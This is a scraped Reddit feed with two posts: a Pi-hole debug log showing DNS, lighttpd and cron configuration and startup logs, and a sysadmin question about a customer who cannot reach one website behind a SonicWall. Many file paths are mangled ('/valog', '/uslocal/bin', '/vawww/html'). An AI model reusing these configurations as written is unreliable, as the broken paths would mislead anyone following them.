IPV4_ADDRESS=192.168.1.2/24 IPV6_ADDRESS= PIHOLE_DNS_1=1.1.1.1 PIHOLE_DNS_2=1.0.0.1 QUERY_LOGGING=true INSTALL_WEB_SERVER=true INSTALL_WEB_INTERFACE=true LIGHTTPD_ENABLED=true BLOCKING_ENABLED=true *** [ DIAGNOSING ]: Dashboard and block page [✓] Block page X-Header: X-Pi-hole: A black hole for Internet advertisements. [✓] Web interface X-Header: X-Pi-hole: The Pi-hole Web interface is working! *** [ DIAGNOSING ]: Gravity list -rw-r--r-- 1 root root 2908518 Mar 1 18:20 /etc/pihole/gravity.list -----head of gravity.list------ 0.0.0.0 0.nextyourcontent.com 0.r.msn.com 0.start.bz -----tail of gravity.list------ zzz.clickbank.net zzzezeroe.fr zzzpooeaz-france.com zzzrtrcm2.com *** [ DIAGNOSING ]: contents of /etc/pihole -rw-r--r-- 1 root root 313 Mar 1 18:18 /etc/pihole/adlists.list https://raw.githubusercontent.com/StevenBlack/hosts/mastehosts https://mirror1.malwaredomains.com/files/justdomains http://sysctl.org/cameleon/hosts https://s3.amazonaws.com/lists.disconnect.me/simple_tracking.txt https://s3.amazonaws.com/lists.disconnect.me/simple_ad.txt https://hosts-file.net/ad_servers.txt -rw-r--r-- 1 root root 45 Mar 1 18:20 /etc/pihole/local.list 192.168.1.2  192.168.1.2 pi.hole -rw-r--r-- 1 root root 234 Mar 1 18:20 /etc/pihole/logrotate /valog/pihole.log { su root root daily copytruncate rotate 5 compress delaycompress notifempty nomail } /valog/pihole-FTL.log { su root root weekly copytruncate rotate 3 compress delaycompress notifempty nomail } *** [ DIAGNOSING ]: contents of /etc/dnsmasq.d -rw-r--r-- 1 root root 1420 Mar 1 18:20 /etc/dnsmasq.d/01-pihole.conf addn-hosts=/etc/pihole/gravity.list addn-hosts=/etc/pihole/black.list addn-hosts=/etc/pihole/local.list localise-queries no-resolv cache-size=10000 log-queries log-facility=/valog/pihole.log local-ttl=2 log-async server=1.1.1.1 server=1.0.0.1 interface=eth0 server=/use-application-dns.net/ *** [ DIAGNOSING ]: contents of /etc/lighttpd -rw-r--r-- 1 root root 3499 Mar 1 18:20 /etc/lighttpd/lighttpd.conf server.modules = ( "mod_access", "mod_accesslog", "mod_auth", "mod_expire", "mod_compress", "mod_redirect", "mod_setenv", "mod_rewrite" ) server.document-root = "/vawww/html" server.error-handler-404 = "/pihole/index.php" server.upload-dirs = ( "/vacache/lighttpd/uploads" ) server.errorlog = "/valog/lighttpd/error.log" server.pid-file = "/varun/lighttpd.pid" server.username = "www-data" server.groupname = "www-data" server.port = 80 accesslog.filename = "/valog/lighttpd/access.log" accesslog.format = "%{%s}t%V%r%s%b" index-file.names = ( "index.php", "index.html", "index.lighttpd.html" ) url.access-deny = ( "~", ".inc", ".md", ".yml", ".ini" ) static-file.exclude-extensions = ( ".php", ".pl", ".fcgi" ) compress.cache-dir = "/vacache/lighttpd/compress/" compress.filetype = ( "application/javascript", "text/css", "text/html", "text/plain" ) mimetype.assign = ( ".png" => "image/png", ".jpg" => "image/jpeg", ".jpeg" => "image/jpeg", ".html" => "text/html", ".css" => "text/css; charset=utf-8", ".js" => "application/javascript", ".json" => "application/json", ".txt" => "text/plain", ".svg" => "image/svg+xml" ) include_shell "/usshare/lighttpd/use-ipv6.pl " + server.port include_shell "find /etc/lighttpd/conf-enabled -name '*.conf' -a ! -name 'letsencrypt.conf' -printf 'include \"%p\" ' 2>/dev/null" $HTTP["url"] =~ "^/admin/" { setenv.add-response-header = ( "X-Pi-hole" => "The Pi-hole Web interface is working!", "X-Frame-Options" => "DENY" ) $HTTP["url"] =~ ".ttf$" { setenv.add-response-header = ( "Access-Control-Allow-Origin" => "*" ) } } $HTTP["url"] =~ "^/admin/\.(.*)" { url.access-deny = ("") } include_shell "cat external.conf 2>/dev/null" *** [ DIAGNOSING ]: contents of /etc/cron.d -rw-r--r-- 1 root root 1704 Mar 1 18:20 /etc/cron.d/pihole 46 4 * * 7 root PATH="$PATH:/uslocal/bin/" pihole updateGravity >/valog/pihole_updateGravity.log cat /valog/pihole_updateGravity.log 00 00 * * * root PATH="$PATH:/uslocal/bin/" pihole flush once quiet @reboot root /ussbin/logrotate /etc/pihole/logrotate */10 * * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker local 57 19 * * * root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote @reboot root PATH="$PATH:/uslocal/bin/" pihole updatechecker remote reboot *** [ DIAGNOSING ]: contents of /valog/lighttpd -rw-r--r-- 1 www-data www-data 301 Mar 1 18:20 /valog/lighttpd/error.log 2020-03-01 18:19:52: (server.c.1464) server started (lighttpd/1.4.53) 2020-03-01 18:20:13: (server.c.2059) server stopped by UID = 0 PID = 1 2020-03-01 18:20:13: (server.c.1464) server started (lighttpd/1.4.53) 2020-03-01 18:20:13: (server.c.1493) WARNING: unknown config-key: alias.url (ignored) *** [ DIAGNOSING ]: contents of /valog -rw-r--r-- 1 pihole pihole 5267 Mar 1 18:35 /valog/pihole-FTL.log -----head of pihole-FTL.log------ [2020-03-01 18:20:27.356 25273] Using log file /valog/pihole-FTL.log [2020-03-01 18:20:27.356 25273] ########## FTL started! ########## [2020-03-01 18:20:27.356 25273] FTL branch: master [2020-03-01 18:20:27.356 25273] FTL version: v4.3.1 [2020-03-01 18:20:27.356 25273] FTL commit: b60d63f [2020-03-01 18:20:27.356 25273] FTL date: 2019-05-25 21:37:26 +0200 [2020-03-01 18:20:27.356 25273] FTL user: pihole [2020-03-01 18:20:27.356 25273] Starting config file parsing (/etc/pihole/pihole-FTL.conf) [2020-03-01 18:20:27.356 25273] SOCKET_LISTENING: only local [2020-03-01 18:20:27.356 25273] AAAA_QUERY_ANALYSIS: Show AAAA queries [2020-03-01 18:20:27.356 25273] MAXDBDAYS: max age for stored queries is 365 days [2020-03-01 18:20:27.356 25273] RESOLVE_IPV6: Resolve IPv6 addresses [2020-03-01 18:20:27.356 25273] RESOLVE_IPV4: Resolve IPv4 addresses [2020-03-01 18:20:27.356 25273] DBINTERVAL: saving to DB file every minute [2020-03-01 18:20:27.356 25273] DBFILE: Using /etc/pihole/pihole-FTL.db [2020-03-01 18:20:27.356 25273] MAXLOGAGE: Importing up to 24.0 hours of log data [2020-03-01 18:20:27.357 25273] PRIVACYLEVEL: Set to 0 [2020-03-01 18:20:27.357 25273] IGNORE_LOCALHOST: Show queries from localhost [2020-03-01 18:20:27.357 25273] BLOCKINGMODE: Null IPs for blocked domains [2020-03-01 18:20:27.357 25273] ANALYZE_ONLY_A_AND_AAAA: Disabled. Analyzing all queries [2020-03-01 18:20:27.357 25273] DBIMPORT: Importing history from database [2020-03-01 18:20:27.357 25273] PIDFILE: Using /varun/pihole-FTL.pid [2020-03-01 18:20:27.357 25273] PORTFILE: Using /varun/pihole-FTL.port [2020-03-01 18:20:27.357 25273] SOCKETFILE: Using /varun/pihole/FTL.sock [2020-03-01 18:20:27.357 25273] WHITELISTFILE: Using /etc/pihole/whitelist.txt [2020-03-01 18:20:27.357 25273] BLACKLISTFILE: Using /etc/pihole/black.list [2020-03-01 18:20:27.357 25273] GRAVITYFILE: Using /etc/pihole/gravity.list [2020-03-01 18:20:27.357 25273] REGEXLISTFILE: Using /etc/pihole/regex.list [2020-03-01 18:20:27.357 25273] SETUPVARSFILE: Using /etc/pihole/setupVars.conf [2020-03-01 18:20:27.357 25273] AUDITLISTFILE: Using /etc/pihole/auditlog.list [2020-03-01 18:20:27.357 25273] MACVENDORDB: Using /etc/pihole/macvendor.db [2020-03-01 18:20:27.357 25273] PARSE_ARP_CACHE: Active [2020-03-01 18:20:27.357 25273] Finished config file parsing [2020-03-01 18:20:27.358 25273] SQLite3 message: cannot open file at line 38452 of [0eca3dd3d3] (14) [2020-03-01 18:20:27.358 25273] SQLite3 message: os_unix.c:38452: (2) open(/etc/pihole/pihole-FTL.db) - (14) -----tail of pihole-FTL.log------ [2020-03-01 18:20:27.358 25273] Creating new (empty) database [2020-03-01 18:20:27.530 25273] Database version is 3 [2020-03-01 18:20:27.530 25273] Database successfully initialized [2020-03-01 18:20:27.531 25273] Imported 0 queries from the long-term database [2020-03-01 18:20:27.531 25273] -> Total DNS queries: 0 [2020-03-01 18:20:27.531 25273] -> Cached DNS queries: 0 [2020-03-01 18:20:27.531 25273] -> Forwarded DNS queries: 0 [2020-03-01 18:20:27.531 25273] -> Exactly blocked DNS queries: 0 [2020-03-01 18:20:27.531 25273] -> Unknown DNS queries: 0 [2020-03-01 18:20:27.531 25273] -> Unique domains: 0 [2020-03-01 18:20:27.531 25273] -> Unique clients: 0 [2020-03-01 18:20:27.531 25273] -> Known forward destinations: 0 [2020-03-01 18:20:27.531 25273] Successfully accessed setupVars.conf [2020-03-01 18:20:27.536 25275] PID of FTL process: 25275 [2020-03-01 18:20:27.537 25275] Listening on port 4711 for incoming IPv4 telnet connections [2020-03-01 18:20:27.537 25275] Listening on port 4711 for incoming IPv6 telnet connections [2020-03-01 18:20:27.537 25275] Listening on Unix socket [2020-03-01 18:20:27.540 25275] Received SIGHUP, reloading cache [2020-03-01 18:20:27.540 25275] Blocking status is enabled [2020-03-01 18:20:27.540 25275] INFO: No whitelist file found [2020-03-01 18:20:27.540 25275] Compiled 0 Regex filters and 0 whitelisted domains in 0.1 msec (0 errors) [2020-03-01 18:20:27.599 25275] New forward server: 1.0.0.1 (0/512) [2020-03-01 18:20:27.606 25275] New forward server: 1.1.1.1 (1/512) [2020-03-01 18:20:40.786 25275] Received SIGHUP, reloading cache [2020-03-01 18:20:40.786 25275] Blocking status is enabled [2020-03-01 18:20:40.786 25275] INFO: No whitelist file found [2020-03-01 18:20:40.786 25275] Compiled 0 Regex filters and 0 whitelisted domains in 0.1 msec (0 errors) [2020-03-01 18:20:41.658 25275] /etc/pihole/gravity.list: parsed 125377 domains (took 872.0 ms) [2020-03-01 18:20:41.658 25275] Received SIGHUP, reloading cache [2020-03-01 18:20:41.658 25275] Blocking status is enabled [2020-03-01 18:20:41.659 25275] INFO: No whitelist file found [2020-03-01 18:20:41.659 25275] Compiled 0 Regex filters and 0 whitelisted domains in 0.1 msec (0 errors) [2020-03-01 18:20:42.335 25275] /etc/pihole/gravity.list: parsed 125377 domains (took 563.3 ms) [2020-03-01 18:26:00.792 25275] Resizing "/FTL-strings" from 4096 to 8192 [2020-03-01 18:35:25.419 25275] Resizing "/FTL-strings" from 8192 to 12288 *** [ DIAGNOSING ]: contents of /dev/shm -rw------- 1 pihole pihole 323584 Mar 1 18:20 /dev/shm/FTL-clients -rw------- 1 pihole pihole 108 Mar 1 18:20 /dev/shm/FTL-counters -rw------- 1 pihole pihole 65536 Mar 1 18:28 /dev/shm/FTL-domains -rw------- 1 pihole pihole 12288 Mar 1 18:20 /dev/shm/FTL-forwarded -rw------- 1 pihole pihole 28 Mar 1 18:20 /dev/shm/FTL-lock -rw------- 1 pihole pihole 53248 Mar 1 18:20 /dev/shm/FTL-overTime -rw------- 1 pihole pihole 196608 Mar 1 18:44 /dev/shm/FTL-queries -rw------- 1 pihole pihole 12 Mar 1 18:20 /dev/shm/FTL-settings -rw------- 1 pihole pihole 12288 Mar 1 18:35 /dev/shm/FTL-strings *** [ DIAGNOSING ]: Locale LANG=en_GB.UTF-8 *** [ DIAGNOSING ]: Pi-hole log -rw-r--r-- 1 pihole pihole 349019 Mar 1 18:44 /valog/pihole.log -----head of pihole.log------ Mar 1 18:20:27 dnsmasq[25275]: started, version pi-hole-2.80 cachesize 10000 Mar 1 18:20:27 dnsmasq[25275]: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth DNSSEC loop-detect inotify dumpfile Mar 1 18:20:27 dnsmasq[25275]: using local addresses only for domain use-application-dns.net Mar 1 18:20:27 dnsmasq[25275]: using nameserver 1.0.0.1#53 Mar 1 18:20:27 dnsmasq[25275]: using nameserver 1.1.1.1#53 Mar 1 18:20:27 dnsmasq[25275]: read /etc/hosts - 5 addresses Mar 1 18:20:27 dnsmasq[25275]: failed to load names from /etc/pihole/local.list: No such file or directory Mar 1 18:20:27 dnsmasq[25275]: failed to load names from /etc/pihole/black.list: No such file or directory Mar 1 18:20:27 dnsmasq[25275]: failed to load names from /etc/pihole/gravity.list: No such file or directory Mar 1 18:20:27 dnsmasq[25275]: query[AAAA] raw.githubusercontent.com from 127.0.0.1 Mar 1 18:20:27 dnsmasq[25275]: forwarded raw.githubusercontent.com to 1.0.0.1 Mar 1 18:20:27 dnsmasq[25275]: forwarded raw.githubusercontent.com to 1.1.1.1 Mar 1 18:20:27 dnsmasq[25275]: reply raw.githubusercontent.com is  Mar 1 18:20:27 dnsmasq[25275]: reply github.map.fastly.net is NODATA-IPv6 Mar 1 18:20:27 dnsmasq[25275]: query[A] raw.githubusercontent.com from 127.0.0.1 Mar 1 18:20:27 dnsmasq[25275]: cached raw.githubusercontent.com is  Mar 1 18:20:27 dnsmasq[25275]: forwarded raw.githubusercontent.com to 1.1.1.1 Mar 1 18:20:27 dnsmasq[25275]: reply raw.githubusercontent.com is  Mar 1 18:20:27 dnsmasq[25275]: reply github.map.fastly.net is 151.101.192.133 Mar 1 18:20:27 dnsmasq[25275]: reply github.map.fastly.net is 151.101.0.133 ******************************************** ******************************************** [✓] ** FINISHED DEBUGGING! ** * The debug log can be uploaded to tricorder.pi-hole.net for sharing with developers only. * For more information, see: https://pi-hole.net/2016/11/07/crack-our-medical-tricorder-win-a-raspberry-pi-3/ * If available, we'll use openssl to upload the log, otherwise it will fall back to netcat. [?] Would you like to upload the log? [y/N] N * Log will NOT be uploaded to tricorder. 
submitted by outdoorsgeek to pihole [link] [comments]


2020.02.25 18:21 PEBKAC-Live Customer cannot access specific website - Internal Server Error

Hi all, let me preface this by saying firewalls and packet tracing are not exactly my area of expertise, so forgive me if I am getting some of the terminology wrong.
One of our customers is having issues accessing 1 specific website. www.charcoalblue.com
There's nothing offensive on the site and no reason the customer shouldnt be able to access it, we can access it from our side with no issues.
The customer has a sonicwall TZ300 device that we thought was causing the issue, however I have just been on a remote session with Sonicwall support and they have come to conclusion that the website itself is blocking the connection from our customers office.
They pointed to a line in the packet monitor that said "PSH,ACK" coming from the website hosting server that they said proves the sever is refusing the connection.
Is that right?
It seems right as when I view the source for the "Internal Server Error" page it has the Charcoalblue.com CSS information etc in the page (see below) so that would seem like the error is coming from their site?


http://www.w3.org/1999/xhtml" lang="en-GB">



Internal Server Error - Charcoalblue
https://www.charcoalblue.com/cpresources/ea6c6ccf/selectize.css?v=1576838495" rel="stylesheet">
https://www.charcoalblue.com/cpresources/5633b72b/css/craft.css?v=1576838495" rel="stylesheet">
https://www.charcoalblue.com/cpresources/5633b72b/css/charts.css?v=1576838495" rel="stylesheet">




https://www.charcoalblue.com/cpresources/5633b72b/images/touch-icons/ipad_1x.png">
https://www.charcoalblue.com/cpresources/5633b72b/images/touch-icons/iphone_2x.png">
https://www.charcoalblue.com/cpresources/5633b72b/images/touch-icons/ipad_2x.png">
https://www.charcoalblue.com/cpresources/5633b72b/images/touch-icons/ipad-pro_2x.png">
https://www.charcoalblue.com/cpresources/5633b72b/images/touch-icons/iphone_3x.png">







Internal Server Error



Server error





















submitted by PEBKAC-Live to sysadmin [link] [comments]